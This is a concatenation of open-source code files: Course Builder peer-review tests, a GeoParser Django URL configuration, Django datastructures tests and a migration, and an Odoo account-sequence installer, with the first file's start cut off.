test_not_enough_assignments_to_allocate(self): """Test for the case when there are too few assignments in the pool.""" email = '[email protected]' name = 'Student 1' submission = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S1-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'is-S1', 'correct': True}, ]) payload = { 'answers': submission, 'assessment_type': LEGACY_REVIEW_UNIT_ID} actions.login(email) actions.register(self, name) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload) # The student goes to the review dashboard and requests an assignment # to review -- but there is nothing to review. response = actions.request_new_review( self, LEGACY_REVIEW_UNIT_ID, expected_status_code=200) assert_does_not_contain('Assignment to review', response.body) assert_contains('Sorry, there are no new submissions ', response.body) assert_contains('disabled="true"', response.body) actions.logout() def test_reviewer_cannot_impersonate_another_reviewer(self): """Test that one reviewer cannot use another's review step key.""" email1 = '[email protected]' name1 = 'Student 1' submission1 = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S1-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'is-S1', 'correct': True}, ]) payload1 = { 'answers': submission1, 'assessment_type': LEGACY_REVIEW_UNIT_ID} email2 = '[email protected]' name2 = 'Student 2' submission2 = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S2-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'not-S1', 'correct': True}, ]) payload2 = { 'answers': submission2, 'assessment_type': LEGACY_REVIEW_UNIT_ID} email3 = '[email protected]' name3 = 'Student 3' submission3 = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S3-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'not-S1', 'correct': True}, ]) payload3 = { 'answers': submission3, 'assessment_type': LEGACY_REVIEW_UNIT_ID} # Student 1 submits the assignment. actions.login(email1) actions.register(self, name1) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload1) actions.logout() # Student 2 logs in and submits the assignment. actions.login(email2) actions.register(self, name2) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload2) # Student 2 requests a review, and is given Student 1's assignment. response = actions.request_new_review(self, LEGACY_REVIEW_UNIT_ID) review_step_key_2_for_1 = get_review_step_key(response) assert_contains('S1-1', response.body) actions.logout() # Student 3 logs in, and submits the assignment. actions.login(email3) actions.register(self, name3) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload3) # Student 3 tries to view Student 1's assignment using Student 2's # review step key, but is not allowed to. response = actions.view_review( self, LEGACY_REVIEW_UNIT_ID, review_step_key_2_for_1, expected_status_code=404) # Student 3 logs out. actions.logout() def test_student_cannot_see_reviews_prematurely(self): """Test that students cannot see others' reviews prematurely.""" email = '[email protected]' name = 'Student 1' submission = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S1-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'is-S1', 'correct': True}, ]) payload = { 'answers': submission, 'assessment_type': LEGACY_REVIEW_UNIT_ID} actions.login(email) actions.register(self, name) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload) # Student 1 cannot see the reviews for his assignment yet, because he # has not submitted the two required reviews. response = self.get('assessment?name=%s' % LEGACY_REVIEW_UNIT_ID) assert_equals(response.status_int, 200) assert_contains('Due date for this assignment', response.body) assert_contains( 'After you have completed the required number of peer reviews', response.body) actions.logout() # pylint: disable-msg=too-many-statements def test_draft_review_behaviour(self): """Test correctness of draft review visibility.""" email1 = '[email protected]' name1 = 'Student 1' submission1 = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S1-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'is-S1', 'correct': True}, ]) payload1 = { 'answers': submission1, 'assessment_type': LEGACY_REVIEW_UNIT_ID} email2 = '[email protected]' name2 = 'Student 2' submission2 = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S2-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'not-S1', 'correct': True}, ]) payload2 = { 'answers': submission2, 'assessment_type': LEGACY_REVIEW_UNIT_ID} email3 = '[email protected]' name3 = 'Student 3' submission3 = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S3-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'not-S1', 'correct': True}, ]) payload3 = { 'answers': submission3, 'assessment_type': LEGACY_REVIEW_UNIT_ID} # Student 1 submits the assignment. actions.login(email1) actions.register(self, name1) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload1) actions.logout() # Student 2 logs in and submits the assignment. actions.login(email2) actions.register(self, name2) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload2) # Student 2 requests a review, and is given Student 1's assignment. response = actions.request_new_review(self, LEGACY_REVIEW_UNIT_ID) review_step_key_2_for_1 = get_review_step_key(response) assert_contains('S1-1', response.body) # Student 2 saves her review as a draft. review_2_for_1_payload = get_review_payload( 'R2for1', is_draft=True) response = actions.submit_review( self, LEGACY_REVIEW_UNIT_ID, review_step_key_2_for_1, review_2_for_1_payload) assert_contains('Your review has been saved.', response.body) response = self.get('reviewdashboard?unit=%s' % LEGACY_REVIEW_UNIT_ID) assert_equals(response.status_int, 200) assert_contains('(Draft)', response.body) # Student 2's draft is still changeable. response = actions.view_review( self, LEGACY_REVIEW_UNIT_ID, review_step_key_2_for_1) assert_contains('Submit Review', response.body) response = actions.submit_review( self, LEGACY_REVIEW_UNIT_ID, review_step_key_2_for_1, review_2_for_1_payload) assert_contains('Your review has been saved.', response.body) # Student 2 logs out. actions.logout() # Student 3 submits the assignment. actions.login(email3) actions.register(self, name3) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload3) actions.logout() # Student 1 logs in and requests two assignments to review. actions.login(email1) response = self.get('/reviewdashboard?unit=%s' % LEGACY_REVIEW_UNIT_ID) response = actions.request_new_review(self, LEGACY_REVIEW_UNIT_ID) assert_contains('Assignment to review', response.body) assert_contains('not-S1', response.body) review_step_key_1_for_someone = get_review_step_key(response) response = actions.request_new_review(self, LEGACY_REVIEW_UNIT_ID) assert_contains('Assignment to review', response.body) assert_contains('not-S1', response.body) review_step_key_1_for_someone_else = get_review_step_key(response) response = self.get('reviewdashboard?unit=%s' % LEGACY_REVIEW_UNIT_ID) assert_equals(response.status_int, 200) assert_contains('disabled="true"', response.body) # Student 1 submits both reviews, fulfilling his quota. review_1_for_other_payload = get_review_payload('R1for') response = actions.submit_review( self, LEGACY_REVIEW_UNIT_ID, review_step_key_1_for_someone, review_1_for_other_payload) assert_contains( 'Your review has been submitted successfully', response.body) response = actions.submit_review( self, LEGACY_REVIEW_UNIT_ID, review_step_key_1_for_someone_else, review_1_for_other_payload) assert_contains( 'Your review has been submitted successfully', response.body) response = self.get('/reviewdashboard?unit=%s' % LEGACY_REVIEW_UNIT_ID) assert_contains('(Completed)', response.body) assert_does_not_contain('(Draft)', response.body) # Although Student 1 has submitted 2 reviews, he cannot view Student # 2's review because it is still in Draft status. response = self.get('assessment?name=%s' % LEGACY_REVIEW_UNIT_ID) assert_equals(response.status_int, 200) assert_contains( 'You have not received any peer reviews yet.', response.body) assert_does_not_contain('R2for1', response.body) # Student 1 logs out. actions.logout() # Student 2 submits her review for Student 1's assignment. actions.login(email2) response = self.get('review?unit=%s&key=%s' % ( LEGACY_REVIEW_UNIT_ID, review_step_key_2_for_1)) assert_does_not_contain('Submitted review', response.body) response = actions.submit_review( self, LEGACY_REVIEW_UNIT_ID, review_step_key_2_for_1, get_review_payload('R2for1')) assert_contains( 'Your review has been submitted successfully', response.body) # Her review is now read-only. response = self.get('review?unit=%s&key=%s' % ( LEGACY_REVIEW_UNIT_ID, review_step_key_2_for_1)) assert_contains('Submitted review', response.body) assert_contains('R2for1', response.body) # Student 2 logs out. actions.logout() # Now Student 1 can see the review he has received from Student 2. actions.login(email1) response = self.get('assessment?name=%s' % LEGACY_REVIEW_UNIT_ID) assert_equals(response.status_int, 200) assert_contains('R2for1', response.body) def test_independence_of_draft_reviews(self): """Test that draft reviews do not interfere with each other.""" email1 = '[email protected]' name1 = 'Student 1' submission1 = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S1-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'is-S1', 'correct': True}, ]) payload1 = { 'answers': submission1, 'assessment_type': LEGACY_REVIEW_UNIT_ID} email2 = '[email protected]' name2 = 'Student 2' submission2 = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S2-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'not-S1', 'correct': True}, ]) payload2 = { 'answers': submission2, 'assessment_type': LEGACY_REVIEW_UNIT_ID} email3 = '[email protected]' name3 = 'Student 3' submission3 = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S3-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'not-S1', 'correct': True}, ]) payload3 = { 'answers': submission3, 'assessment_type': LEGACY_REVIEW_UNIT_ID} # Student 1 submits the assignment. actions.login(email1) actions.register(self, name1) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload1) actions.logout() # Student 2 logs in and submits the assignment. actions.login(email2) actions.register(self, name2) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload2) actions.logout() # Student 3 logs in and submits the assignment. actions.login(email3) actions.register(self, name3) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload3) actions.logout() # Student 1 logs in and requests two assignments to review. actions.login(email1) response = self.get('/reviewdashboard?unit=%s' % LEGACY_REVIEW_UNIT_ID) response = actions.request_new_review(self, LEGACY_REVIEW_UNIT_ID) assert_equals(response.status_int, 200) assert_contains('Assignment to review', response.body) assert_contains('not-S1', response.body) review_step_key_1_for_someone = get_review_step_key(response) response = actions.request_new_review(self, LEGACY_REVIEW_UNIT_ID) assert_equals(response.status_int, 200) assert_contains('Assignment to review', response.body) assert_contains('not-S1', response.body) review_step_key_1_for_someone_else = get_review_step_key(response) self.assertNotEqual( review_step_key_1_for_someone, review_step_key_1_for_someone_else) # Student 1 submits two draft reviews. response = actions.submit_review( self, LEGACY_REVIEW_UNIT_ID, review_step_key_1_for_someone, get_review_payload('R1forFirst', is_draft=True)) assert_contains('Your review has been saved.', response.body) response = actions.submit_review( self, LEGACY_REVIEW_UNIT_ID, review_step_key_1_for_someone_else, get_review_payload('R1forSecond', is_draft=True)) assert_contains('Your review has been saved.', response.body) # The two draft reviews should still be different when subsequently # accessed. response = self.get('review?unit=%s&key=%s' % ( LEGACY_REVIEW_UNIT_ID, review_step_key_1_for_someone)) assert_contains('R1forFirst', response.body) response = self.get('review?unit=%s&key=%s' % ( LEGACY_REVIEW_UNIT_ID, review_step_key_1_for_someone_else)) assert_contains('R1forSecond', response.body) # Student 1 logs out. actions.logout() class PeerReviewDashboardAdminTest(actions.TestBase): """Test peer review dashboard from the Admin perspective.""" def test_add_reviewer(self): """Test that admin can add a reviewer, and cannot re-add reviewers.""" email = '[email protected]' name = 'Test Add Reviewer' submission = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'First answer to Q1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'First answer to Q3', 'correct': True}, ]) payload = { 'answers': submission, 'assessment_type': LEGACY_REVIEW_UNIT_ID} actions.login(email) actions.register(self, name) response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, payload) # There is nothing to review on the review dashboard. response = actions.request_new_review( self, LEGACY_REVIEW_UNIT_ID, expected_status_code=200) assert_does_not_contain('Assignment to review', response.body) assert_contains('Sorry, there are no new submissions ', response.body) actions.logout() # The admin assigns the student to review his own work. actions.login(email, is_admin=True) response = actions.add_reviewer( self, LEGACY_REVIEW_UNIT_ID, email, email) assert_equals(response.status_int, 302) response = self.get(response.location) assert_does_not_contain( 'Error 412: The reviewer is already assigned', response.body) assert_contains('First answer to Q1', response.body) assert_contains( 'Review 1 from [email protected]', response.body) # The admin repeats the 'add reviewer' action. This should fail. response = actions.add_reviewer( self, LEGACY_REVIEW_UNIT_ID, email, email) assert_equals(response.status_int, 302) response = self.get(response.location) assert_contains( 'Error 412: The reviewer is already assigned', response.body) class PeerReviewDashboardStudentTest(actions.TestBase): """Test peer review dashboard from the Student perspective.""" COURSE_NAME = 'back_button_top_level' STUDENT_EMAIL = '[email protected]' def setUp(self): super(PeerReviewDashboardStudentTest, self).setUp() self.base = '/' + self.COURSE_NAME context = actions.simple_add_course( self.COURSE_NAME, '[email protected]', 'Peer Back Button Child') self.course = courses.Course(None, context) self.assessment = self.course.add_assessment() self.assessment.title = 'Assessment' self.assessment.html_content = 'assessment content' self.assessment.workflow_yaml = ( '{grader: human,' 'matcher: peer,' 'review_due_date: \'2034-07-01 12:00\',' 'review_min_count: 1,' 'review_window_mins: 20,' 'submission_due_date: \'2034-07-01 12:00\'}') self.assessment.now_available = True self.course.save() actions.login(self.STUDENT_EMAIL) actions.register(self, self.STUDENT_EMAIL) config.Registry.test_overrides[ utils.CAN_PERSIST_ACTIVITY_EVENTS.name] = True actions.submit_assessment( self, self.assessment.unit_id, {'answers': '', 'score': 0, 'assessment_type': self.assessment.unit_id}, presubmit_checks=False ) def test_back_button_top_level_assessment(self): response = self.get('reviewdashboard?unit=%s' % str( self.assessment.unit_id)) back_button = self.parse_html_string(response.body).find( './/*[@href="assessment?name=%s"]' % self.assessment.unit_id) self.assertIsNotNone(back_button) self.assertEquals(back_button.text, 'Back to assignment') def test_back_button_child_assessment(self): parent_unit = self.course.add_unit() parent_unit.title = 'No Lessons' parent_unit.now_available = True parent_unit.pre_assessment = self.assessment.unit_id self.course.save() response = self.get('reviewdashboard?unit=%s' % str( self.assessment.unit_id)) back_button = self.parse_html_string(response.body).find( './/*[@href="unit?unit=%s&assessment=%s"]' % ( parent_unit.unit_id, self.assessment.unit_id)) self.assertIsNotNone(back_button) self.assertEquals(back_button.text, 'Back to assignment')
apache-2.0
MBoustani/GeoParser
geoparser_app/urls.py
3
2166
from django.conf.urls import patterns, url from . import views urlpatterns = patterns('geoparser_app.views', url(r'^$', views.index, name='index'), url(r'^extract_text/(?P<file_name>\S+)$', views.extract_text, name='extract_text'), url(r'^find_location/(?P<file_name>\S+)', views.find_location, name='find_location'), url(r'^find_latlon/(?P<file_name>\S+)', views.find_latlon, name='find_latlon'), url(r'^return_points/(?P<file_name>\S+)/(?P<core_name>\S+)', views.return_points, name='return_points'), url(r'^return_points_khooshe/(?P<indexed_path>\S+)/(?P<domain_name>\S+)', views.return_points_khooshe, name='return_points_khooshe'), url(r'^refresh_khooshe_tiles/(?P<indexed_path>\S+)/(?P<domain_name>\S+)', views.refresh_khooshe_tiles, name='refresh_khooshe_tiles'), url(r'^set_idx_fields_for_popup/(?P<indexed_path>\S+)/(?P<domain_name>\S+)/(?P<index_field_csv>\S+)', views.set_idx_fields_for_popup, name='set_idx_fields_for_popup'), url(r'^get_idx_fields_for_popup/(?P<indexed_path>\S+)/(?P<domain_name>\S+)', views.get_idx_fields_for_popup, name='get_idx_fields_for_popup'), url(r'list_of_uploaded_files$', views.list_of_uploaded_files, name='list_of_uploaded_files'), url(r'index_file/(?P<file_name>\S+)$', views.index_file, name='index_file'), url(r'query_crawled_index/(?P<indexed_path>\S+)/(?P<domain_name>\S+)$', views.query_crawled_index, name='query_crawled_index'), url(r'add_crawled_index/(?P<indexed_path>\S+)/(?P<domain_name>\S+)/(?P<username>\S+)/(?P<passwd>\S+)$', views.add_crawled_index, name='add_crawled_index'), url(r'list_of_domains/$', views.list_of_domains, name='list_of_domains'), url(r'search_crawled_index/(?P<indexed_path>\S+)/(?P<domain_name>\S+)/(?P<keyword>\S+)$', views.search_crawled_index, name='search_crawled_index'), url(r'list_of_searched_tiles/$', views.list_of_searched_tiles, name='list_of_searched_tiles'), url(r'remove_khooshe_tile/(?P<tiles_path>\S+)/(?P<khooshe_folder>\S+)$', views.remove_khooshe_tile, name='remove_khooshe_tile'), url(r'remove_uploaded_file/(?P<file_name>\S+)$', views.remove_uploaded_file, name='remove_uploaded_file'), )
apache-2.0
RaoUmer/django
tests/regressiontests/utils/datastructures.py
7
10672
""" Tests for stuff in django.utils.datastructures. """ import copy import pickle import warnings from django.test import SimpleTestCase from django.utils.datastructures import (DictWrapper, ImmutableList, MultiValueDict, MultiValueDictKeyError, MergeDict, SortedDict) from django.utils import six class SortedDictTests(SimpleTestCase): def setUp(self): self.d1 = SortedDict() self.d1[7] = 'seven' self.d1[1] = 'one' self.d1[9] = 'nine' self.d2 = SortedDict() self.d2[1] = 'one' self.d2[9] = 'nine' self.d2[0] = 'nil' self.d2[7] = 'seven' def test_basic_methods(self): self.assertEqual(list(six.iterkeys(self.d1)), [7, 1, 9]) self.assertEqual(list(six.itervalues(self.d1)), ['seven', 'one', 'nine']) self.assertEqual(list(six.iteritems(self.d1)), [(7, 'seven'), (1, 'one'), (9, 'nine')]) def test_overwrite_ordering(self): """ Overwriting an item keeps its place. """ self.d1[1] = 'ONE' self.assertEqual(list(six.itervalues(self.d1)), ['seven', 'ONE', 'nine']) def test_append_items(self): """ New items go to the end. """ self.d1[0] = 'nil' self.assertEqual(list(six.iterkeys(self.d1)), [7, 1, 9, 0]) def test_delete_and_insert(self): """ Deleting an item, then inserting the same key again will place it at the end. """ del self.d2[7] self.assertEqual(list(six.iterkeys(self.d2)), [1, 9, 0]) self.d2[7] = 'lucky number 7' self.assertEqual(list(six.iterkeys(self.d2)), [1, 9, 0, 7]) if not six.PY3: def test_change_keys(self): """ Changing the keys won't do anything, it's only a copy of the keys dict. This test doesn't make sense under Python 3 because keys is an iterator. """ k = self.d2.keys() k.remove(9) self.assertEqual(self.d2.keys(), [1, 9, 0, 7]) def test_init_keys(self): """ Initialising a SortedDict with two keys will just take the first one. A real dict will actually take the second value so we will too, but we'll keep the ordering from the first key found. """ tuples = ((2, 'two'), (1, 'one'), (2, 'second-two')) d = SortedDict(tuples) self.assertEqual(list(six.iterkeys(d)), [2, 1]) real_dict = dict(tuples) self.assertEqual(sorted(six.itervalues(real_dict)), ['one', 'second-two']) # Here the order of SortedDict values *is* what we are testing self.assertEqual(list(six.itervalues(d)), ['second-two', 'one']) def test_overwrite(self): self.d1[1] = 'not one' self.assertEqual(self.d1[1], 'not one') self.assertEqual(list(six.iterkeys(self.d1)), list(six.iterkeys(self.d1.copy()))) def test_append(self): self.d1[13] = 'thirteen' self.assertEqual( repr(self.d1), "{7: 'seven', 1: 'one', 9: 'nine', 13: 'thirteen'}" ) def test_pop(self): self.assertEqual(self.d1.pop(1, 'missing'), 'one') self.assertEqual(self.d1.pop(1, 'missing'), 'missing') # We don't know which item will be popped in popitem(), so we'll # just check that the number of keys has decreased. l = len(self.d1) self.d1.popitem() self.assertEqual(l - len(self.d1), 1) def test_dict_equality(self): d = SortedDict((i, i) for i in range(3)) self.assertEqual(d, {0: 0, 1: 1, 2: 2}) def test_tuple_init(self): d = SortedDict(((1, "one"), (0, "zero"), (2, "two"))) self.assertEqual(repr(d), "{1: 'one', 0: 'zero', 2: 'two'}") def test_pickle(self): self.assertEqual( pickle.loads(pickle.dumps(self.d1, 2)), {7: 'seven', 1: 'one', 9: 'nine'} ) def test_copy(self): orig = SortedDict(((1, "one"), (0, "zero"), (2, "two"))) copied = copy.copy(orig) self.assertEqual(list(six.iterkeys(orig)), [1, 0, 2]) self.assertEqual(list(six.iterkeys(copied)), [1, 0, 2]) def test_clear(self): self.d1.clear() self.assertEqual(self.d1, {}) self.assertEqual(self.d1.keyOrder, []) def test_insert(self): d = SortedDict() with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") d.insert(0, "hello", "world") assert w[0].category is PendingDeprecationWarning def test_value_for_index(self): d = SortedDict({"a": 3}) with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") self.assertEqual(d.value_for_index(0), 3) assert w[0].category is PendingDeprecationWarning class MergeDictTests(SimpleTestCase): def test_simple_mergedict(self): d1 = {'chris':'cool', 'camri':'cute', 'cotton':'adorable', 'tulip':'snuggable', 'twoofme':'firstone'} d2 = {'chris2':'cool2', 'camri2':'cute2', 'cotton2':'adorable2', 'tulip2':'snuggable2'} d3 = {'chris3':'cool3', 'camri3':'cute3', 'cotton3':'adorable3', 'tulip3':'snuggable3'} d4 = {'twoofme': 'secondone'} md = MergeDict(d1, d2, d3) self.assertEqual(md['chris'], 'cool') self.assertEqual(md['camri'], 'cute') self.assertEqual(md['twoofme'], 'firstone') md2 = md.copy() self.assertEqual(md2['chris'], 'cool') def test_mergedict_merges_multivaluedict(self): """ MergeDict can merge MultiValueDicts """ multi1 = MultiValueDict({'key1': ['value1'], 'key2': ['value2', 'value3']}) multi2 = MultiValueDict({'key2': ['value4'], 'key4': ['value5', 'value6']}) mm = MergeDict(multi1, multi2) # Although 'key2' appears in both dictionaries, # only the first value is used. self.assertEqual(mm.getlist('key2'), ['value2', 'value3']) self.assertEqual(mm.getlist('key4'), ['value5', 'value6']) self.assertEqual(mm.getlist('undefined'), []) self.assertEqual(sorted(six.iterkeys(mm)), ['key1', 'key2', 'key4']) self.assertEqual(len(list(six.itervalues(mm))), 3) self.assertTrue('value1' in six.itervalues(mm)) self.assertEqual(sorted(six.iteritems(mm), key=lambda k: k[0]), [('key1', 'value1'), ('key2', 'value3'), ('key4', 'value6')]) self.assertEqual([(k,mm.getlist(k)) for k in sorted(mm)], [('key1', ['value1']), ('key2', ['value2', 'value3']), ('key4', ['value5', 'value6'])]) class MultiValueDictTests(SimpleTestCase): def test_multivaluedict(self): d = MultiValueDict({'name': ['Adrian', 'Simon'], 'position': ['Developer']}) self.assertEqual(d['name'], 'Simon') self.assertEqual(d.get('name'), 'Simon') self.assertEqual(d.getlist('name'), ['Adrian', 'Simon']) self.assertEqual(list(six.iteritems(d)), [('position', 'Developer'), ('name', 'Simon')]) self.assertEqual(list(six.iterlists(d)), [('position', ['Developer']), ('name', ['Adrian', 'Simon'])]) # MultiValueDictKeyError: "Key 'lastname' not found in # <MultiValueDict: {'position': ['Developer'], # 'name': ['Adrian', 'Simon']}>" self.assertRaisesMessage(MultiValueDictKeyError, '"Key \'lastname\' not found in <MultiValueDict: {\'position\':'\ ' [\'Developer\'], \'name\': [\'Adrian\', \'Simon\']}>"', d.__getitem__, 'lastname') self.assertEqual(d.get('lastname'), None) self.assertEqual(d.get('lastname', 'nonexistent'), 'nonexistent') self.assertEqual(d.getlist('lastname'), []) self.assertEqual(d.getlist('doesnotexist', ['Adrian', 'Simon']), ['Adrian', 'Simon']) d.setlist('lastname', ['Holovaty', 'Willison']) self.assertEqual(d.getlist('lastname'), ['Holovaty', 'Willison']) self.assertEqual(list(six.itervalues(d)), ['Developer', 'Simon', 'Willison']) def test_appendlist(self): d = MultiValueDict() d.appendlist('name', 'Adrian') d.appendlist('name', 'Simon') self.assertEqual(d.getlist('name'), ['Adrian', 'Simon']) def test_copy(self): for copy_func in [copy.copy, lambda d: d.copy()]: d1 = MultiValueDict({ "developers": ["Carl", "Fred"] }) self.assertEqual(d1["developers"], "Fred") d2 = copy_func(d1) d2.update({"developers": "Groucho"}) self.assertEqual(d2["developers"], "Groucho") self.assertEqual(d1["developers"], "Fred") d1 = MultiValueDict({ "key": [[]] }) self.assertEqual(d1["key"], []) d2 = copy_func(d1) d2["key"].append("Penguin") self.assertEqual(d1["key"], ["Penguin"]) self.assertEqual(d2["key"], ["Penguin"]) def test_dict_translation(self): mvd = MultiValueDict({ 'devs': ['Bob', 'Joe'], 'pm': ['Rory'], }) d = mvd.dict() self.assertEqual(list(six.iterkeys(d)), list(six.iterkeys(mvd))) for key in six.iterkeys(mvd): self.assertEqual(d[key], mvd[key]) self.assertEqual({}, MultiValueDict().dict()) class ImmutableListTests(SimpleTestCase): def test_sort(self): d = ImmutableList(range(10)) # AttributeError: ImmutableList object is immutable. self.assertRaisesMessage(AttributeError, 'ImmutableList object is immutable.', d.sort) self.assertEqual(repr(d), '(0, 1, 2, 3, 4, 5, 6, 7, 8, 9)') def test_custom_warning(self): d = ImmutableList(range(10), warning="Object is immutable!") self.assertEqual(d[1], 1) # AttributeError: Object is immutable! self.assertRaisesMessage(AttributeError, 'Object is immutable!', d.__setitem__, 1, 'test') class DictWrapperTests(SimpleTestCase): def test_dictwrapper(self): f = lambda x: "*%s" % x d = DictWrapper({'a': 'a'}, f, 'xx_') self.assertEqual("Normal: %(a)s. Modified: %(xx_a)s" % d, 'Normal: a. Modified: *a')
bsd-3-clause
willharris/django
tests/sites_framework/migrations/0001_initial.py
99
1649
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('sites', '0001_initial'), ] operations = [ migrations.CreateModel( name='CustomArticle', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('title', models.CharField(max_length=50)), ('places_this_article_should_appear', models.ForeignKey(to='sites.Site')), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='ExclusiveArticle', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('title', models.CharField(max_length=50)), ('site', models.ForeignKey(to='sites.Site')), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='SyndicatedArticle', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('title', models.CharField(max_length=50)), ('sites', models.ManyToManyField(to='sites.Site')), ], options={ 'abstract': False, }, bases=(models.Model,), ), ]
bsd-3-clause
colinligertwood/odoo
addons/account_sequence/account_sequence_installer.py
39
3904
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp.osv import fields, osv class account_sequence_installer(osv.osv_memory): _name = 'account.sequence.installer' _inherit = 'res.config.installer' _columns = { 'name': fields.char('Name',size=64, required=True), 'prefix': fields.char('Prefix',size=64, help="Prefix value of the record for the sequence"), 'suffix': fields.char('Suffix',size=64, help="Suffix value of the record for the sequence"), 'number_next': fields.integer('Next Number', required=True, help="Next number of this sequence"), 'number_increment': fields.integer('Increment Number', required=True, help="The next number of the sequence will be incremented by this number"), 'padding' : fields.integer('Number padding', required=True, help="OpenERP will automatically adds some '0' on the left of the 'Next Number' to get the required padding size."), 'company_id': fields.many2one('res.company', 'Company'), } _defaults = { 'company_id': lambda s,cr,uid,c: s.pool.get('res.company')._company_default_get(cr, uid, 'ir.sequence', context=c), 'number_increment': 1, 'number_next': 1, 'padding' : 0, 'name': 'Internal Sequence Journal', } def execute(self, cr, uid, ids, context=None): if context is None: context = {} record = self.browse(cr, uid, ids, context=context)[0] j_ids = [] if record.company_id: company_id = record.company_id.id, search_criteria = [('company_id', '=', company_id)] else: company_id = False search_criteria = [] vals = { 'id': 'internal_sequence_journal', 'code': 'account.journal', 'name': record.name, 'prefix': record.prefix, 'suffix': record.suffix, 'number_next': record.number_next, 'number_increment': record.number_increment, 'padding' : record.padding, 'company_id': company_id, } obj_sequence = self.pool.get('ir.sequence') ir_seq = obj_sequence.create(cr, uid, vals, context) res = super(account_sequence_installer, self).execute(cr, uid, ids, context=context) jou_obj = self.pool.get('account.journal') journal_ids = jou_obj.search(cr, uid, search_criteria, context=context) for journal in jou_obj.browse(cr, uid, journal_ids, context=context): if not journal.internal_sequence_id: j_ids.append(journal.id) if j_ids: jou_obj.write(cr, uid, j_ids, {'internal_sequence_id': ir_seq}) ir_values_obj = self.pool.get('ir.values') ir_values_obj.set(cr, uid, key='default', key2=False, name='internal_sequence_id', models =[('account.journal', False)], value=ir_seq) return res # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
sudosurootdev/external_chromium_org
tools/auto_bisect/PRESUBMIT.py
25
3243
